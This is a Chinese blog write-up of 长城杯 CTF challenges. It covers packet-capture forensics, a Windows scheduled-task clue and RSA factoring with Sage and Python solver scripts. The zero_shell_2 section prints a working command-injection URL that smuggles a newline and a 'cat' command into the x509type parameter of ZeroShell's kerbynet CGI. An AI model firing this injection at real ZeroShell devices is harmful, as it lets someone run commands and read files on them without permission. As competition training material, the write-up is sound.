长城杯_DS squad&wp

yolo 发布于 2024-12-15 114 次阅读


你们加油,我玩玩攻防世界,这破题我等着看wp

这是第一次打的国赛,真™难,我想着杂项应该还算ez的,但没想到这回比赛全是取证,还全要挂载到vm虚拟机上,服了,以前真没见过,看来任重道远啊

Misc

zero_shell_1 | FINISHED

分析流量包,找到了对话

这个refer响应头应该是后面用得到的密码flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zero_shell_2 | FINISHED

这里考察zero_shell的防火墙漏洞

现在卡到这里了,如何构造命令,让它把flag输出

构造这个漏洞命令http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/DB/_DB.001/flag%20/Database/flag%20%0A%27

得到了

WinFT_2 | FINISHED

题目描述在启动项中查找

打开任务计划程序

Base64解密

flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

Crypto

rasnd | FINISHED (赛后)

前半段

# 方程组:
n = p * q
hint1 = x1 * p + y1 * q - 0x114
hint2 = x2 * p + y2 * q - 0x514

x2 * h1 = x1 * x2 * p + x2 * y1 * q
x1 * h2 = x1 * x2 * p + x1 * y2 * q

n = p * q
x2 * h1 - x1 * h2 = (x2 * y1 - x1 * y2) * q
因此 q 是 n 和 x2 * h1 - x1 * h2 的公因数

穷举x1, x2

from sage.all import *

n=27457595890446260950190651992446303122371131469178615304857142816014867511972169736783800944264481975498077375286191345746337364569681925331430032133400086125493531697340514722390434757174185350797112268702610434328075882452848522801553790574852111986468695473779524065147544674124856688633784609688666317174777519059716489901179973680888895287112613169948817268654442523312367931601659962557480409161680579344294052640640107513822348392333105593633996582602564044699734455901859676690260156427394373062286054517980678944766675740247446493815676299923364382080771360160250641040870715387099281795589144776487947028069
c=8428208333414279627400698858041583379487520113326182802724651718864841134271033677865245771796505245072403731935431089119069032157733414049688202346452605092159869856262464520306033485813168329449861336637594245409871610716292218587412474808522373975845949426003414880742403979286791841019231649135688217636850257384298838057144041423178897325474430137629727595647439511817476977056973908606157021831728282225188271390858666922248405707907790738735780105384499568824576000813152032110991972359781015891115380788049107876524418261917497521208935981363627820907700199641363198603278679802081998261212628294369278203411
hint1=751105824394605080190526685467168111308331889953962729427632254176617579496518413433656894260198364663094863742842645553335550531207323526082280791532218731097822790226628108472117652998622192127046163512611569585281117913789871972735317922380334821734924814145979160983121382600529445984350793213934463052479115314549829877180923179189383255
hint2=4451182935460878127885879066823832674376874098642940186311526639630220011631167552024722395789393288648796074707594254881048067696059405030906501420627691381849138492252931327020419860784291614336032195160836957239883342612270983144730063825993351278119667805661097617267624867674775753226629350085834653476251233484956699709720608379471508082101998527834266171801999946747258692824513224206986655170492708859886340854013131124729203030144713622947367788602162583
# hint1 = x1 * p + y1 * q - 0x114
# hint2 = x2 * p + y2 * q - 0x514
hint1+=0x114
hint2+=0x514

print(gcd(hint1, hint2))

# factors = factor(hint1)
# print("质因数分解结果:", factors)

for x1 in range(2**11):
    for x2 in range(2**11):
        t = x1*hint2-x2*hint1
        if t==0:
            print(x1, x2)
            continue
        if gcd(n, t)>1:
            print(gcd(n, t))
            break
# 157607975525945395698472575061616985952149185547217691888037215727375004912473607443158993102785802792020949692291369829013011542911213186343717003611145041377907292197514454920038371893035263273181007380508337993610224313011577446189337024195279806998084165637263365245660261385555358316954831582208607027459

得到:

157607975525945395698472575061616985952149185547217691888037215727375004912473607443158993102785802792020949692291369829013011542911213186343717003611145041377907292197514454920038371893035263273181007380508337993610224313011577446189337024195279806998084165637263365245660261385555358316954831582208607027459

import gmpy2
from Crypto.Util.number import *

n = 27457595890446260950190651992446303122371131469178615304857142816014867511972169736783800944264481975498077375286191345746337364569681925331430032133400086125493531697340514722390434757174185350797112268702610434328075882452848522801553790574852111986468695473779524065147544674124856688633784609688666317174777519059716489901179973680888895287112613169948817268654442523312367931601659962557480409161680579344294052640640107513822348392333105593633996582602564044699734455901859676690260156427394373062286054517980678944766675740247446493815676299923364382080771360160250641040870715387099281795589144776487947028069
c = 8428208333414279627400698858041583379487520113326182802724651718864841134271033677865245771796505245072403731935431089119069032157733414049688202346452605092159869856262464520306033485813168329449861336637594245409871610716292218587412474808522373975845949426003414880742403979286791841019231649135688217636850257384298838057144041423178897325474430137629727595647439511817476977056973908606157021831728282225188271390858666922248405707907790738735780105384499568824576000813152032110991972359781015891115380788049107876524418261917497521208935981363627820907700199641363198603278679802081998261212628294369278203411
p = 157607975525945395698472575061616985952149185547217691888037215727375004912473607443158993102785802792020949692291369829013011542911213186343717003611145041377907292197514454920038371893035263273181007380508337993610224313011577446189337024195279806998084165637263365245660261385555358316954831582208607027459
q = n // p
e = 0x10001
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
# flag{6bcceae6-beb0-

后半段,推导过程晚点再写

from Crypto.Util.number import *
from sympy import *
import gmpy2

n = 16312614498226296156103667921745755128613824675313943799418710328137740251650243126495421918792255918340263322127752408893192627236637532149266118234846912099886877809464345519243909353747887708537868245685670180636886881706189871325918323942071589626339737695892286878418542681036596742705267795219353488409025424453097713933895966711450164860990429663519765558886709056970672950194979684741221959626295502374471566577704520419404044006451346101282213947836386579984489011793952942123444368070756861746545264874293897168494377785099829949894786361436903269767607535282317127584686420597030456049281067319302131301519
c = 11798187952669727360910773986424549886807248153964176813314377762287565981677289638955353469916063214845494410083181718763824084416428292181557257045658846762014578489925559779975802430712765657895335818985676581553337355008267915055719238971766011617786510425704619345941601916795292073035754176701681735480428713558235863167512185702877986475833932935417293029969280139943380301000444809827170146475460478391998869646981671682478514244327411875810778871848511187844856760590429718407346244985497798199492303459542608805785169673637980902633858408636401997609605336400017026048670019945571269902128000565202000032658
hint = 4290796882762248126265423220603718727906245998335543948017631522089359960648934482858370447422178376366482332080670413568352966731079131729719247129549477805917101585607825197953276311350548938400255046158606254922525426005203017792401212546160125396343768704055526933182686234148100822163776820800169999315099455322884761674924064419104084203555061407225790389279557622272861093073279648659757023479004969870302881806264652025872086548250447081959519486441468572503007453932354949988213570188552970013980419295906374901466993799517612520299556143998480788397228391717405509699514741520638869077039711472197940218626

p_q = inverse(hint,n)
delta = gmpy2.iroot(p_q**2+4*514*n*114,2)[0]
q = (-p_q+delta)//228
assert n//q*q == n
p = n//q
d = inverse(0x10001,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))

4dd6-b764-bd0fdcaeeb5f}

flag{6bcceae6-beb0-4dd6-b764-bd0fdcaeeb5f}